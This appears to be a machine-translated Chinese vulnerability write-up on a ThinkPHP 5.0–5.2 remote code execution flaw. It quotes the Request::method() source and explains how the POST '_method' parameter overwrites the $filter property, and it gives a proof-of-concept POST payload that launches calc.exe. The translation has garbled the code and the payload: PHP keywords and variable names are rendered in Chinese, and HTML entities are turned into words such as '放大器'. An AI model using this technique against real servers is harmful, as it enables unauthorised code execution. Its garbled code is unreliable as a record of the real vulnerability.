序言最近爆出了Thinkphp5.0.*全版本代码执行,其中5.1与5.2全版本在生产环境下下同样也存在代码执行漏洞分析:文件位置:\thinkphp\library\think\Request.ph…
前言
最近,已经启动了完整版的Thinkphp5.0。*代码执行,完整版的5.1和5.2也在生产环境中执行代码。
漏洞分析:
文件位置:\ thinkphp \ library \ think \ Request.php
/**
* 当前请求类型
* @access public
* @param bool $ origin 是否获取原始请求类型
* @return 字符串
* /
public function method($ origin = false)
{
if ($ origin) {
// 获取原始请求类型
返回 $ this->服务器('REQUEST_METHOD') 'GET';
} elseif (!$ this-> method) {
if (isset($ _ POST [$ this-> config ['var_method']])) {
$ this->方法 = strtoupper($ _ POST [$ this-> config ['var_method']]);
$方法 = strtolower($ this->方法);
$ this-> {$ method} = $ _POST;
} elseif ($ this-> server('HTTP_X_HTTP_METHOD_OVERRIDE')) {
$ this->方法 = strtoupper($ this-> server('HTTP_X_HTTP_METHOD_OVERRIDE'));
} else {
$ this->方法 = $ this->服务器('REQUEST_METHOD') 'GET';
}
}
返回 $ this->方法;
}
其中:
$ this->方法 = strtoupper($ _ POST [$ this-> config ['var_method']]);
'$ method = strtolower($ this-> method);
$ this-> {$ method} = $ _POST;
$ method变量是$ this->方法,它等同于POST“_method”参数值。
那里有一个可变的覆盖范围
我们可以覆盖$ filter属性的值(POC如下)
C=&EXEC放大器; F=&CALC.EXE放大器;&安培; _method=滤波器&安培;
访问如下所示:

将生成警告级别异常,导致程序终止
如何触发:
如果设置忽略了异常提示,如下所示:

项目本身需要屏蔽异常和错误,因此这种配置是正常配置。
有效负载(POST请求):

弹出计算器